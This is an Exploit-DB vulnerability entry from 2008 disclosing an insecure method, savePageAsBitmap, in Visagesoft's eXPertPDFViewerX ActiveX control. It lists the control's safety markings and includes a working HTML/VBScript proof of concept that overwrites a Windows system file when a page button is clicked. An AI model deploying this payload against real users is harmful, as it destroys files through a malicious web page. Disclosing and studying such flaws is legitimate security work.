VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD

vendor:

eXPertPDFViewerX

by:

Marco Torti

N/A

CVSS

N/A

Insecure Method

Unknown

CWE

Product Name: eXPertPDFViewerX

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP3

2008

VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD

The "savePageAsBitmap" method in VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) doesn't check user supplied arguments, allowing for file overwrite.

Mitigation:

Unknown

Source

Exploit-DB raw data:

 VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
 thanks UGIS
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 FileVersion:   3.0.990.0
 CLSID:  {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A}
 Description: Visagesoft PDF Viewer Control
 ProgID:        VSPDFViewer.VSPDFViewer
 
  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data
 
 Vulnerable method:
 savePageAsBitmap(ByVal bitmapFileName  As String) As Boolean
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 Vulnerability Description:
    The "savePageAsBitmap" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument, i don't have time, check others functions....
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
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<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start exploit'>
<script language='vbscript'>
Sub launch
target.savePageAsBitmap "c:\windows\-system.ini"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>
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